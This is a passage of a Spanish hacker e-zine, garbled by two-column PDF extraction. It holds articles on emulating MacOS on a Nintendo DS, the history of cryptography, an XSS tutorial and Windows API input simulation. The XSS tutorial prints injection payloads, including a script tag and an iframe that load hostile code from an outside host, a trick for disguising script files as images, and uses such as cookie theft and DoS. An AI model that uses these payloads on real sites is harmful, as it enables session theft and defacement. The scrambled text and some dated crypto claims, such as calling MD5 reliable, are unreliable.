slo que tenemos los botones insertad el cartucho con la tarjeta micro SD
"Ordenar", "Frmulas" y "Debates". insertada y elegid el archivo que tenis que
Ordenar nos sirve para colocar las ejecutar.
casillas por orden de A-Z o Z-A. Una vez tengamos el cartucho de memoria,
Frmulas, para definir frmulas insertamos el emulador dentro y ste nos
que se usarn en las casillas. En permitir ejecutar el gran software MacOS.
cuanto a Debates, estar pronto Descarga del emulador en:
disponible. http://lazyone.drunkencoders.com/mini%20vmac
.zip descarga del sistema:
Adems, podemos subir nuestros http://download.info.apple.com/Apple_Support_
propios archivos. Cuando estamos en Area/Apple_Software_Updates/English-
la pagina principal le damos a subir y North_American/Macintosh/System/Older_Syste
elegimos el documento de texto o la m/System_6.0.x/). Una vez que tengamos todo
hoja de calculo que queramos subir puesto en su sitio, lo ejecutamos y a salsear.

Pag 22 de 44 HH eZine
excusa: que si no tenis ordenador, que si el
ciber est cerrado, Ahora, con la consola a
todas partes! (Y puede que juegues un ratito para
descansar. Pero atencin, pone ratito!)

Espero que la lectura de este texto haya sido de


vuestro agrado y que adems os sea provechoso.
Si necesitis alguna aclaracin, no dudis en
preguntar en HackHispano.

Y para acabar, mis dos frases favoritas:

Es mejor saber algo de todo que todo de algo.


Hay dos tipos de personas, las que saben binario
Adems, para los incrdulos, os dejo esta
y las que no.
imagen y un video con MacOS funcionando
en una DS
Gracia por vuestra atencin y hasta pronto.
http://www.youtube.com/watch?v=zXumHtI4LT

Es una pena que no tenga colores y que no rat


vaya muy rpido, pero slo necesitamos algo
de paciencia para soportar el tiempo que
tarda.
Con este software se pueden ejecutar
programas, juegos etc., como si fuera
nuestro Mac personal. Ahora ya no tenis

Pag 23 de 44 HH eZine
Evolucin de la criptografa.
Panorama actual. para garantizar que un archivo no a sido
modificado.
En este artculo voy a tratar de la
criptografa a lo largo de la historia y el La informacin original que debe protegerse se
panorama actual, centrndome en los tipos denomina texto en claro. La informacin
actuales y algunos algoritmos, pero sin protegida en formato de texto ilegible es lo que
olvidarme de dar unas nociones bsicas de se denomina texto cifrado o criptograma. El
para que se utiliza proceso de proteger el mensaje se denomina
cifrar o encriptar. El proceso desproteger el
mensaje se denomina descifrar o desencriptar.
Que es la criptografa El mtodo especifico utilizado en el proceso de
cifrado y descifrado se denomina algoritmo de
Claro que si empiezo a hablaros de la cifrado o cifra. La clave es la informacin
criptografa y no os explico que es pues no secreta usada durante el proceso de cifrar para
os enterareis de nada. Pero en casi todos los hacer generar el criptograma, y necesaria para
sitios os pondrn algo como esto: obtener el texto en claro a partir del criptograma.

La criptografa (del griego kryptos, Ejemplo del algoritmo de 1 tabla y cifrado por
"ocultar", y grafos, "escribir", literalmente intercambio directo para explicar los diversos
"escritura oculta") es el arte o ciencia de conceptos:
cifrar y descifrar informacin utilizando A B C D E FG H I J K L M N O P Q R S T U
tcnicas matemticas que hagan posible el V W X Y Z (Tabla de texto en claro)
intercambio de mensajes de manera que HIJABCXYZGKLQRSMNEFO
slo puedan ser ledos por las personas a W D P T U V (Esta es la clave)
quienes van dirigidos. El algoritmo para cifrar es que sustituimos los
caracteres del texto en claro por sus equivalentes
Que no dudo que el prrafo anterior no sea de la clave (A por H o V por D).
correcto, que lo es, pero no totalmente Pero pasemos a cifrar un texto, en concreto
correcto, ni lo fue nunca, porque por EZINE. El procedimiento es simple, buscamos
ejemplo los mtodos de tabla (los ms cada letra su correspondiente de la tabla clave y
antiguos entre los que se cuenta el mtodo ya esta.
Cesar) no se basan en tcnicas matemticas, E -> B
eran tcnicas simples de cambiar los Z -> V
caracteres de una tabla por el equivalente de I -> Z
otra tabla. En cambio hoy en da, las actual N -> R
criptografa se basa en tcnicas matemticas, El texto cifrado sera: BVZRB
pero en cambio, ya no solo se usa la El proceso de descifrado sera el contrario y nos
criptografa para proteger mensajes, sino que volvera a dar EZINE. En este cas parece que la
se utiliza para otras finalidades, por ejemplo proteccin del texto depende de lo largas que
sean las tablas clave, en nuestro ejemplo hay 27!
Pag 24 de 44 HH eZine
-1 posibles claves (se resta una porque una texto ,es otra, y esto solo sirve como ejemplo.
de esas posibilidades es la cadena de arriba).
Es un mtodo sencillo y en teora igualmente Ahora que ya hemos visto un ejemplo de
sencillo de romper (conseguir obtener el criptografa y algunos de los trminos utilizados,
texto en claro a partir del criptograma sin vamos a proceder a decir para que sirve la
utilizar la clave). Y es que este mtodo no criptografa:
tiene en cuenta un pequeo detalle, en los -Su principal funcin (tanto histrica como en
lenguajes humanos no todas las letras nuestros das) es la de garantizar el secreto en la
aparecen con la misma posibilidad, por comunicacin entre dos entidades.
ejemplo, la letras que ms aparece en -Su segunda gran funcin es la asegurar que la
espaol es la letra e incluso algunos informacin no ha sido adulterada en el camino.
autores dicen que aparecen ms letras e en En cristiano, que nadie la modifico durante la
un texto que espacios por otro lado comunicacin. Una utilizacin accidental de esta
tambin es conveniente cifrar los espacios, funcin es ser usada como funcin hash.
sino se ofrecen muchas pistas a quien intente -Otra gran funcin es la de garantizar que el
descifrar el texto. Y aun para fastidiarla ms, remitente es quien dice ser.
cuanto ms largo y mejor redactado est ms -Una variante de sus funciones ms en boga
sencillo ser de romper, ya que palabras actualmente y que es una modificacin de la
muy comunes en casi todos los idiomas, por actual es que es usada en la firma electrnica (o
ejemplo, en ingls sin lugar a dudas the, firma digital), su finalidad es asociar un emisor a
en espaol no hay una que destaque tanto, un mensaje, para evitar el repudio. En cristiano,
pero si muchas que destaquen como pueden solo tal entidad puede emitir este mensaje, por lo
ser la, lo, a, en, de. El gran problema es cual esa entidad no puede negar que el mensaje
que si te centras en esas palabras consigues es suyo.
estructurar el texto y te resultara ms
sencillo sacar algunas palabras por el La criptografa en la Historia
contexto, y a partir de ah ya tendras echo
todo. Ahora que ya sabemos de forma superficial que
A pesar de lo anterior, en la prctica hay es la criptografa pasaremos a meternos en faena,
formas de que de complicarles la vida a la criptografa en la Historia. Y ya empezamos
quien intente romper tu texto, algunas tan con problemas, ya que aunque en casi todos los
simples como eliminar las partculas textos se empieza siempre con los griegos, por
mencionadas antes, usando un lenguaje tipo las definiciones y funciones comentadas
telegrfico. Otras es seleccionar las palabras anteriormente, tendramos que realizar un
que vas a cifrar intentando minimizar un comienzo distinto, en donde ya no seran los
potencial ataque por aparicin (en espaol lo griegos los primeros acerca de los cuales
mejor es intentar no escribir palabras que tenemos constancia de que usaban mtodos
lleven la letra e e intentar que aparezcan criptogrficos. Mucho antes (al menos unos 1000
muchas u y especialmente o). Pero aos antes) en Mesopotamia se utilizaban
bueno, lo dejo aqu que la finalidad de este cdigos secretos para ocultar mensajes. En
Egipto parece ser que tambin tenan sus propias
Pag 25 de 44 HH eZine
tcnicas aunque la de estos era ms del estilo el holands Auguste Kerckhoffs y la del prusiano
esteganografa (no se considera que sea un Friedrich Kasiski.
tipo de criptografa).
El gran avance del siglo XX fue utilizar
Despus del apunte anterior pasaremos a los maquinas de clculo y otro serie de ingenios
griegos y romanos. Tampoco es que haya mecnicos en la criptografa. Sin duda la ms
mucho que decir, lo normal es comentar que famosa mquina criptogrfica fue Enigma, usada
Polibio (un historiador griego) dejo masivamente durante la primera mitad del siglo
constancia de la utilizacin de la criptografa XX y decisiva durante los prolegmenos y aos
(un sistema de sustitucin basado en la de la segunda Guerra Mundial. Enigma era una
posicin de las letras en una tabla). Aunque mquina de rotores que automatizaba
los griegos sabemos que tenias ms considerablemente los clculos que era necesario
sistemas, el otro ms conocido fue la escitala realizar para las operaciones de cifrado y
espartana, un mtodo de transposicin descifrado de mensajes. La gran importancia de
basado en un cilindro que serva como clave enigma fue que ella puede considerarse la madre
en el que se enrollaba el mensaje para poder de la actual criptografa, ya que demostr que las
cifrar y descifrar. En cuanto a los romanos, maquinas pueden cifrar y descifrar un mensaje en
lo ms destacable es que utilizaron la tcnica un tiempo impensable incluso para los mayores
Cesar tanto para fines militares como civiles genios de la humanidad, pero no solo eso, debido
(algo que no se repetira de nuevo hasta la a lo anterior desde entonces se buscan
poca actual de forma masiva), era mtodo incansablemente nuevas cifras y se estudian
simple de sustitucin. nuevas tcnicas de criptoanlisis, incluso influyo
en las matemticas, ya que campos que hasta
La situacin sigue as hasta Leon Battista entonces se consideraban secundarios (como el
Alberti en el 1465 inventa un sistema de estudio de la dispersin de los nmeros,
sustitucin poli alfabtica. Blaise de especialmente los primos) pasaron de nuevo al
Vigenere escribi un tratado de escritura primer plano.
secreta en el siglo XVI y diseo un
algoritmo que aun se conserva. Y partir de Sin duda la figura ms importante en el
este siglo la criptografa empieza a ser desarrollo de la criptografa despus de la
utilizada de forma masiva por las segunda guerra mundial es Claude Shannon. Otro
monarquas europeas, entre ellos hay que hito importante es la creacin del primer
citar al que usaban los ejrcitos espaoles de algoritmo estndar de cifrado, el DES, a
Felipe II, en su poca fue inexpugnable, mediados de los aos 70. Aun as, sin duda la
aunque finalmente un matemtico del rey mayor innovacin del siglo XX fueron las cifras
francs Eduardo IV logro criptoanalizarlo. asimtricas (GP, firma digital).

Hasta el siglo XX, a pesar del incremento de Panorama actual


la utilizacin de la criptografa, no hubo
nuevos avances. Aun as son destacables Hoy en da, aunque la mayor parte de la
varios personajes del siglo XIX en concreto poblacin no sea consciente de ello, su
Pag 26 de 44 HH eZine
utilizacin esta presente en muchos de del algoritmo no puede deducirse el mensaje en
nuestros actos cotidianos, desde el nmero claro, ya que por cada clave se genera una
de la tarjeta de crdito o un nmero de criptograma muy diferente, y una pequea
cuenta corriente (usa un cdigo hash como variacin de la clave da dos criptogramas muy
control para discernir que si el nmero es distintos. En la prctica todos los algoritmos
correcto o no), permitir acceder a webs tienen fallas (aunque a algunos aun no se le
seguras como bancos incluso un msero encontraron pero las matemticas nos dicen que
DVD hace uso de tcnicas de cifrado tarde o temprano si hay inters acabaran
aparecindole), y esa tambin es una medida de
Pero lo que hoy influye en gran manera en la la seguridad de un algoritmo (cuantas claves
criptografa y que a su ver retroalimente esa seguras tiene, cuantas ms tenga ms hay que
influencia, es el desarrollo de la probar en ataque por fuerza bruta), en la prctica
computacin y ms especficamente la no es necesario probar todas las posibles claves,
actual sociedad de la informacin. ya que hay en la prctica todos los algoritmos
acaban generando el mismo criptograma para
Pero creo que de nada servir un montn de ms de una clave (con lo cual no hay que
palabras sobre teoras de la conspiracin, probarlas todas) y por otro, con probar cierta
utopas en cambio si que puede ser til cantidad de ellas ya podemos deducir en que
explicar las ramas actuales de la criptografa rango esta la clave y entonces proceder a lanzar
y algn algoritmo. el ataque de fuerza bruta solo sobre ese rango.
Un ejemplo de algoritmo al que se le pueden
Criptografa simtrica: Como la teora dice aplicar estas tcnicas es el MD4 segn lo
que la mejor definicin es aquella que es descubierto por Hans Dobbertin. Y otro ejemplo
sintticas, concisa y mnima pero sin de que varias claves dan el mismo criptograma es
perdidas de informacin, pues la mejor el MD5, tambin fue Dobbertin el que hallo una
definicin de criptografa simtrica es: colisin en 1996, volvieron a anunciarse
mtodo criptogrfico que utiliza la misma colisiones en el ao 2004 por parte de Xiaoyun
clave para cifrar y descifrar. Y los Wang, Dengguo Feng, Xuejia Lai y Hongbo Yu.
algoritmos simtricos pueden compararse Aun as el MD5 sigue siendo muy til y fiable en
siguiendo la mxima: Un buen sistema de funciones de hash.
cifrado pone toda la seguridad en la clave y
ninguna en el algoritmo. Que quiere decir Criptografa asimtrica: siguiendo la poltica
lo anterior, pues que si el algoritmo (o cifra) enumerada anteriormente, la definicin es:
es bueno, pues no nos importa que el mtodo criptogrfico que utiliza 2 claves, una
algoritmo sea pblico, porque de nada sirve pblica para cifrar y otra privada y secreta para
conocer el algoritmo si no se conoce la clave descifrar. En este caso no importa que todo el
de cada utilizacin. Si alguien captura un mundo conozca la clave pblica, ya que a partir
mensaje cifrado con un algoritmo que de ella y el criptograma no es posible obtener el
cumpla esa permisa, para el que intenta texto en claro. La seguridad de una cifra en este
romper la criptograma (o mensaje) no le caso est ligada a que a partir de la clave pblica
sirve conocer el algoritmo, ya que a partir no se pueda deducir la privada y tambin que a
Pag 27 de 44 HH eZine
partir de la clave pblica no se pueda romper muchos expertos que siguen siendo muy
el criptograma. Se basan en funciones- escpticos.
trampa de un solo sentido que aprovechan
propiedades particulares, por ejemplo de los Triple DES: Cuando se descubri que una clave
nmeros primos. Y que puetas es una de 56 bits no era suficiente para un ataque de
funcin trampa? Pues consiste en una fuerza bruta, TDES fue elegido como forma de
funcin matemtica cuyo clculo directo es agrandar el largo de la clave sin necesidad de
sencillo (como multiplicar 2 nmeros), pero cambiar de algoritmo de cifrado. En criptografa
que a partir del resultado sea muy difcil el Triple DES se llama al algoritmo que hace
saber que nmeros usamos para que nos triple cifrado del DES. Tambin es conocido
diera ese resultado. En este caso, al igual como TDES o 3DES, fue desarrollado por IBM
que los algoritmos simtricos, la seguridad en 1978. Es previsible que en un corto periodo de
depende de la clave. tiempo sea reemplazado por el algoritmo AES.
Es un algoritmo simtrico.
Criptografa hbrida: El gran problema de
las cifras asimtricas es que requieren claves AES o Rijndael: Esquema de cifrado por
mucho ms largas que sus equivalente bloques adoptado como un estndar de cifrado
simtricas, y por otro, consumen una gran por el gobierno de los Estados Unidos para
potencia computacional tanto en el cifrado sustituir al DES. Es un algoritmo simtrico
como en el descifrado, por ello no suelen desarrollado por los belgas Joan Daemen y
usarse solos, sino complementados con un Vincent Rijmen. AES utiliza una red de
algoritmo simtrico, eso es lo que es la sustitucin-permutacin, no una red de Feistel
criptografa hbrida. Su funcionamiento como el DES. AES es rpido, fcil de
habitual es que se genera una clave simtrica implementar y requiere poca memoria.
aleatoria, esa clave se cifra con la clave
pblica y se enva al destinatario. El mensaje IDEA: Es un cifrador por bloques diseado por
se cifra con un algoritmo simtrico usando la James L. Massey en Zrich. IDEA opera con
clave generada. El destinatario recupera la bloques de 64 bits usando una clave de 128 bits y
clave simtrica usando la clave privada y a consiste de ocho transformaciones idnticas y
partir de ah puede descifrar el mensaje. Este una transformacin de salida. El proceso para
es el sistema que el PGP. cifrar y descifrar es similar. Gran parte de la
seguridad de IDEA deriva del intercalado de
Criptografa de curva elptica: Es una operaciones de distintos grupos que son
variante de la criptografa asimtrica basada algebraicamente "incompatibles" en cierta forma.
en las matemticas de las curvas elpticas. Es un algoritmo simtrico. Es considerado uno de
Propuesta de forma independiente por Neal los cifrados por bloques ms seguros que existen.
Koblitz y Victor Miller en 1985. Promete Solo se le encontraron algunas claves dbiles.
claves mucho ms cortas y mucha ms
rapidez que su equivalente asimtrica. Se MD5: Es un algoritmo de reduccin criptogrfico
cree que es bastante segura para tamaos de de 128 bits ampliamente usado, diseado por
clave de 163bits o superiores, aunque hay Ronald Rivest. Se le han encontrado colisiones
Pag 28 de 44 HH eZine
de hash por lo que no es muy seguro, aun as de los Estados Unidos para su uso en su Estndar
sigue estando muy presente tanto como de Firma Digital (DSS), pero tiene la desventaja
sistema de cifrado en UNIX/Linux. Pero su que requiere mucho ms tiempo de computo que
principal funcin y para la que sigue siendo el RSA.
muy til es para detectar ficheros corruptos,
alterados, incompletos Despedida

RIPEMD-160: Es un algoritmo del resumen Esta ha sido una visin muy rpida de
del mensaje de 160 bits (y funcin Criptografa (que es, para que se utiliza), su
criptogrfica de hash) desarrollado en papel en la Historia y las tcnicas criptogrficas
Europa. Es poco usado aunque es un actuales (tipos) y algunos algoritmos
algoritmo abierto. ampliamente utilizados. Es solo una
introduccin, por lo que no descarto que para un
Diffie-Hellman: Permite el intercambio prximo nmero haya una versin ms extendida
secreto de claves entre dos partes que no han y con ejemplos, o el desarrollo prctico de un
tenido contacto previo, utilizando un canal sistema criptogrfico. Bueno a llegado el
inseguro, y de manera annima (sin momento de la despedida por hoy.
autentificar). Se emplea generalmente como
medio para acordar claves simtricas que Un Saludo
sern empleadas para el cifrado de una
sesin. Siendo no autenticado, sin embargo Autor: Gondar_f
provee las bases para varios protocolos
autenticados. Su seguridad radica en la
extrema dificultad de calcular logaritmos
discretos en un campo finito, o por lo menos
en teora. Una de sus versiones ms
conocidas es ElGamal para negociacin de
claves.

RSA: Es un algoritmo asimtrico cifrador de


bloques, que utiliza una clave pblica, la
cual se distribuye, y otra privada, la cual es
guardada en secreto por su propietario. Su
funcionamiento se basa en el producto de
dos nmeros primos grandes, y una clave de
este algoritmo tambin es un nmero. Sus
autores son Ron Rivest, Adi Shamir y Len
Adleman (de ah el nombre).

DSA: Fue un Algoritmo propuesto por el


Instituto Nacional de Normas y Tecnologa
Pag 29 de 44 HH eZine
INTRODUCCION Y o=xD.html Si lo introducido no existe,
EXPLICACION AL XSS seguramente les saldr un error que diga algo
como: esto
Es el ataque basado en la explotacin de
vulnerabilidades del sistema de validacin
de HTML incrustado. Su nombre, del ingles
"Cross Site Scripting", y renombrado XSS
para que no sea confundido con las hojas de
estilo por cascada, CSS originalmente
abarcaba cualquier ataque que permitiera
ejecutar cdigo de "scripting", como
VBScript o javascript, en el contexto de otro
dominio. Recientemente se acostumbra a
llamar a los ataques de XSS "HTML
Injection", sin embargo el termino correcto,
es XSS. Estos errores se pueden encontrar
en cualquier aplicacin HTML, no se limita
a sitios web, ya que puede haber
aplicaciones locales vulnerables a XSS, o Concepto pgina Web dinmica
incluso el navegador en si. El problema esta
en que normalmente no se validan Se conoce con el nombre de pgina web
correctamente los datos de entrada que son dinmica a aqulla, cuyo contenido se genera a
usados en cierta aplicacin. Esta partir de lo que un usuario introduce en un web o
vulnerabilidad puede estar presente de forma formulario. El contenido de la pgina no est
directa (Libros de visitas, Foros, mensajes incluido en un archivo html como en el caso de
privados, Blogs , Wikis,) o indirecta las pginas web estticas. Las aplicaciones ms
(redirecciones, framesets). Cada una se trata conocidas de las pginas web dinmicas son:
de forma diferente. existen distintos tipos de Mostrar el contenido de una base de datos, con
ataque XSS base en la informacin que solicita un usuario a
travs de un formulario de web. Actualizar el
Pginas dinmicas contenido de una base de datos. Generar pginas
web de contenido esttico. Mejorar la interaccin
Localizar una pagina que sea dinmica, es entre el usuario y el sitio web. Las paginas
decir que muestre su contenido en base a dinmicas son aquellas que se crean en el
cosas introducidas por el usuario. momento que se solicitan , son pginas HTML
Por ejemplo si entran a una pgina con este generadas a partir de lenguajes de programacin
formato: En realidad el HTML no es
http://www.website.com/index.php?contenid
Pag 30 de 44 HH eZine
lenguaje de programacin sino, ms bien, se dependen de navegadores especficos .................
trata de un lenguaje descriptivo que tiene
como objeto dar formato al texto y las <script src=http://www.xsite.com/xcode.js></script>
imgenes....etc ....que pretendemos
visualizar en el navegador.(scripts) que son dejando que el sitio web incluya cdigo script
ejecutados en el propio servidor web. A procedente de un archivo podemos evitar las
diferencia de otros scripts, como el limitaciones de tamao. Adems el cdigo html
JavaScript, que se ejecutan en el propio no aparecer directamente hacindolo mas difcil
navegador del usuario, los 'Server Side' de detectar en algunos casos el contexto de
scripts generan un cdigo HTML desde el seguridad del sito web es importante ya que
propio servidor web. Este cdigo HTML puede bloquear cdigos procedente de terceros
puede ser modificado -por ejemplo- en en este caso recuerda que el archivo que contiene
funcin de una peticin realizada por el el cdigo no tiene que tener la extensin j.s si es
usuario en una Base de Datos. Dependiendo posible subir archivos tales como imgenes al
de los resultados de la consulta en la Base de servidor frecuentemente puedes engaar al sitio
Datos, se generar un cdigo HTML u otro, web llamando al archivo que contiene el cdigo
mostrando diferentes contenidos script harmless. jpg incluyndolo despus .Como
viene del mismo servidor en muchos casos ser
Contenidos tratado como un objeto seguro .

<img src= "javascript :alert( ' vulnerable ' ) ;">

A veces es posible incluir cdigo en la etiqueta


de un imagen .Esto puede aprovecharse en los
casos en los que el sitio web atacado filtre
correctamente la entrada de un usuario pero usa
un formulario diferente para permitir al usuario
que inserte imgenes en el texto sin filtrado .Si al
usuario se le da la posibilidad de especificar el
origen de la imagen hay posibilidades de insertar
cdigo .

inyectar cdigos en sitios web es solo una de <a hret="javascript :alert ( &quot ; xss & quot ; )"> Clickme ! <>/a
las muchas posibilidades dir en este tutorial
tambin se puede incluir cdigos de enlace y En las situaciones en las que puedas usar
efectos onmouseover .Miraremos una comillas dobles o simples juntas es posible
pequea coleccin y amplia variedad de cambiar estas comillas en el cdigo javascript
lugares y tcnicas para incluir cdigo .Todo con sus secuencias de escape
no funciona correctamente eso depende de
nuestro navegador ya que algunas tcnicas <body onload=alert ( " vulnerable " ) >

Pag 31 de 44 HH eZine
Esta construccin nos permite incluir cdigo Creacin de un cdigo vulnerable
script en una etiqueta <body>que se ejecute
durante el evento onload .El onload ocurre
cada vez que el navegador analiza el cdigo
de manera que el cdigo siempre se
ejecutara en una situacin vulnerable .Esto
se puede utilizar en situaciones en las que
las entrada de un usuario determina el
comportamiento de un sitio web
manipulando lo parmetros del cuerpo del
sitio web.

<a herf=javascrip : alert ( ' vulnerable ' ) ; <

Los navegadores construidos con el monitor


de renderizado Gecko ejecutaran
habitualmente bloques de cdigo que no
contengan etiquetas de cierre .ya que las
cierra automticamente. El ejemplo de arriba
creara un enlace representado por < que
ejecutara cdigo despus de hacer click
sobre el .Esto puede ser muy til si la
inyeccin se lleva a cabo dentro de otra
etiqueta

<inframe src=http://www.xsite.com/xscript.html>

cuando inyectamos un inframe en un sitio


web vulnerable es posible hacer que el sitio
web cargue el cdigo que se encuentra en el
interior del cdigo de ejecucin del inframe.
En este ejemplo, el archivo html Accin
evilscript.html tendra que contener el script
que el atacante quiera ejecutar Pasamos a otra accin podemos subir esto
a un server y ir hacia el script nos saldr un
<inframe src="javascript : alert ( ' vulnerable ' ) ;"></ inframe >
formulario de campos de entrada introduce el
asunto del mensaje y algo de texto con que
tambin se puede inyectar cdigo en un
pongas cualquier cosa te lo mostrar despus.
inframe

Pag 32 de 44 HH eZine
ahora intenta introducir en el rea de texto usuario .despus incluye el contenido de
<script>alerta("vulnerable");</script> estas variables dentro de una cadena y
una vez que hayas enviado el formulario repite toda la cadena dentro del sitio web.
veras que te aparece una ventana emergente mecanismos similares pueden encontrarse en una
con la palabra vulnerable ( felicidades amplia variedad de aplicaciones web
acabas de inyectar cdigo javaScript en un ya mencionadas todos depende del mismo
sitio web). mecanismo. la diferencia es que las aplicaciones
web reales suelen almacenar la entrada en una
Listado HTML tras la inyeccin DB e incluirlas bajo demanda en el sitio web
de unos usuario especficos .pero no pienses que
<html> solo las aplicaciones web que reciben entrada
<head> directas de usuarios son vulnerables tambin los
<title>xss-test | mensaje nuevo</title> contenidos indirectos como las aplicaciones de
</head> correo electrnicos pueden contener cdigo
<body> script la mayora de proveedores de webmails
<h3>tusmensajes nuevos:</h3><br /> mas importantes han tenido problemas con el
<b>subject</b><br /> XSS en los ltimos aos
<script>alert("vulnerable");<script>
</body> Tipos de vulnerabilidades
</html>

Qu ha pasado ?

Anlisis del script PHP

Porque ha sido posible inyectar cdigo


como este se hace obvio despus volver
a mirar el cdigo PHP
echo '...'.$title'<br/>'.$text.'...'; Existen 3 tipos conocidos de vulnerabilidades
no hace otra cosa que obtener la variables XSS.
$title y $text-que son introducidas por el
Pag 33 de 44 HH eZine
El que se utiliza para ejecutar cdigo es para principiantes si se incluyen cosas de un
remotamente con los permisos de otro poco de nivel pero solo es como muestra del
usuario. poder de XSS

El ataque no-persistente o reflejado Desinformacin: la funcin document.write tiene


(explicado ms adelante) utilizado en un alto potencial para la colocacin e
pginas no estticas. informacin falsa imagina un sito importante de
noticias vulnerable al XSS un atacante podra
El ataque persistente, donde se inyecta crear un URL que incluyera un articulo sobre un
cdigo en pginas estticas. ataque hacking en algn sitio y distribuir esa
URL mediante coreo electrnico o foros el
Estos tipos de vulnerabilidades son en los mensaje recibira credibilidad por parte del sitio
que se basan todos los dems ataques. Es web y mucho creeran el contenido
importante que analicen estos tres tipos de
ataques para identificar en que reas son Alteracin: similar al prrafo anterior los sitios
peligrosos, que se puede lograr con ellos, y web podran ser alterados por ejemplo se podra
como prevenirlos. colocar una imagen dentro del sitio web o el
navegador del usuario podra ser redirigido a otro
XSS a fondo lugar

En la red puedes encontrar mucha Seguimiento de usuarios: un atacante inteligente


informacin respecto a las XSS en el caso de podr crear cdigo que informara sobre los
un buen manual tenemos el siguiente ...XSS enlaces sobre los que un usuario hace clip junto
a fondo.. lo mas correcto es usar el manual con la hora ala que ocurri a otro servidor el
ya que esta bien para que trascribirlo . En mecanismo es bien conocido de herramientas
este manual puedes aprender un poco mas estadsticas para sitios web escritas en lenguajes
afondo sobre lo que es XSS. script

Posibilidades de ataques Generar trafico: tomemos otra vez como


ejemplos sitios de noticias .muy probablemente
Como este Ezine esta creada para mostrarte tengan cientos de visitantes todo los das, si un
la tcnica que hay detrs de XSS solo he atacante incluye cdigo para cargar el archivo
incorporado un nico ataque a modo de mas grande que contenga el servidor web de la
muestra pero el XSS tiene muchas mas victima cada vez que es ejecutado esto causara
posibilidades que el robo de cookies. un trafico masivo que debera ser suficiente para
Adems decir que sobre las tcnicas de crear un ataque DOS en cualquier servidor de
ataques y sus formas serian en prximos tamao pequeo o mediano
nmeros de Seine, que yo, definira como
Crash Site Script ( hacking XSS ) por otra
parte decir que se queda demasiadas cosa
atrs y que esta seccin de Ezine XSS solo
Pag 34 de 44 HH eZine
INTRODUCCION A LA API DE nombre de Handles o manejadores, que
WINDOWS (II) trataremos como un tipo de datos de tamao
LongWord (32 bits). Una vez asignado el
En este artculo: Manejando el teclado y el Handle, es la API de Windows la que pinta el
ratn objeto en pantalla mostrando el resultado al
usuario. Cuando el programa se cierra, se
Ejemplos: libera toda la memoria asignada a los objetos
Quiniela electrnica y permanece disponible para otras
Controlador remoto de aplicaciones. aplicaciones.

Manejando ventanas externas desde nuestra Nosotros vamos a controlar cualquier


aplicacin programa, as como simular los eventos que
deseemos, a partir de los Handles.
En el articulo anterior vimos una breve
introduccin a la API de Windows, hicimos Antes de entrar en mas detalles sobre los
algunos ejemplos sencillos de llamada y manejadores y para ir calentando y
diferenciamos el paso de parmetros por valor o refrescando la memoria del lector sobre como
referencia, crendonos nuestras propias se usa la API, vamos a incluir varias
estructuras de datos si fueran necesarias. Ahora funciones interesantes y llamativas:
veremos como simular eventos en el sistema de
manera automtica para poder controlar GetCursorPos y SetCursorPos
aplicaciones externas desde la nuestra (crear,
abrir, cerrar, ejecutar, presionar, hacer clic, Estas funciones nos permiten obtener y
posicionar, dibujar, etc...), en definitiva: manejar el puntero del ratn por la pantalla.
automatizar.
Funcion GetCursorPos (lpPunto: TPoint)
Para este propsito debemos saber devuelve un Booleano largo (32 bits);
algunos conceptos bsicos previos. Est contenida en User32.dll de nombre
GetCursorPos.
Cuando abres un programa y te aparece su
ventana, sus botones, sus mens, etc...el sistema Su objetivo es almacenar en la variable de
operativo (Windows), asigna una direccin de tipo TPoint que pasemos como parmetro las
memoria (puntero) en la RAM a cada uno de coordenadas actuales del puntero del ratn.
esos componentes, a partir de ahora Objetos, es Si la funcin falla devuelve 0, si hay xito
decir a la ventana le asignara una direccin y a devuelve algn valor distinto de 0.
cada uno de los botones otra distinta, y as
sucesivamente, de manera que cada objeto del lpPunto es un parmetro de Entrada / salida
programa que hemos ejecutado posee una (referencia), de tipo TPoint que no es mas
direccin de memoria distinta. Estas que una estructura de datos que debemos
direcciones de memorias se conocen con el crearnos con dos campos:
Pag 35 de 44 HH eZine
MOUSEEVENTF_MOVE = $0001;
Tipo TPoint = paquete MOUSEEVENTF_LEFTDOWN = $0002;
X: entero; (32 bits) MOUSEEVENTF_LEFTUP = $0004;
MOUSEEVENTF_RIGHTDOWN = $0008;
Y: entero; (32 bits) MOUSEEVENTF_RIGHTUP = $0010;
Fin; MOUSEEVENTF_MIDDLEDOWN=$0020
MOUSEEVENTF_MIDDLEUP = $0040;
MOUSEEVENTF_WHEEL = $0800;
Recuerdo que esta declaracin es similar MOUSEEVENTF_ABSOLUTE = $8000;
al typedef struct del C.
Con MOUSEEVENTF_ABSOLUTE,
De manera anloga a la funcin si no la especificamos los cambios se realizan
GetCursorPos anterior existe otra: respecto a la ultima posicin del puntero. Con
MOUSEEVENTF_MOVE indicamos que
Funcion SetCursorPos (x: entero, y: nos estamos refiriendo a un movimiento del
entero) devuelve un Booleano Largo; puntero. El resto indican los clic (pulsado o
Est contenida en User32.dll de nombre soltado).
SetCursorPos
Dx, dy: coordenadas x, y
Su objetivo es posicionar el puntero del respectivamente. Segn este activada o
ratn en las coordenadas indicadas por no MOUSEEVENTF_ABSOLUTE, nos
los valores X e Y. Si la funcin falla estaremos refiriendo a coordenadas
devuelve 0, si hay xito devuelve algn relativas a la ultima posicin o
valor distinto de 0. normales. Valores positivos significan
desplazamientos o coordenadas hacia la
derecha o arriba, y negativos hacia abajo
Mouse_event y Keybd_event o la izquierda.

Estas funciones nos permiten simular dwData: normalmente su valor ser 0.


acciones del ratn y del teclado Pero si en dwFlags pasamos como
respectivamente, como por ejemplo pulsar una parmetro MOUSEEVENTF_WHEEL
tecla o hacer clic. entonces aqu estaremos indicando la
cantidad de movimiento de la rueda.
Procedimiento mouse_event Un valor positivo indica que la rueda
(dwFlags, dx, dy, dwData, dwExtraInfo: ser rotada hacia adelante; un valor
LongWord); negativo indica que la rueda ser
Est contenida en User32.dll de nombre rotada hacia atrs, hacia el usuario.
mouse_event
dwExtraInfo: para indicar informacin
dwFlags: para especificar los estados del adicional al evento.Por ejemplo sera
ratn o lo que vamos a hacer, equivalente hacer:
movimientos, clics, etc. Existen una serie
de constantes a usar en este parmetro: Mouse_event(MOUSEEVENTF_MOVE, 100, 10, 0, 0);

Pag 36 de 44 HH eZine
VK_APPS = 93;
VK_NUMPAD0 = 96;
Con esto: VK_NUMPAD1 = 97;
VK_NUMPAD2 = 98;
GetCursorPos(punto); VK_NUMPAD3 = 99;
SetCursorPos(punto.X+100, punto.Y+10); VK_NUMPAD4 = 100;
VK_NUMPAD5 = 101;
VK_NUMPAD6 = 102;
Procedimiento keybd_event VK_NUMPAD7 = 103;
VK_NUMPAD8 = 104;
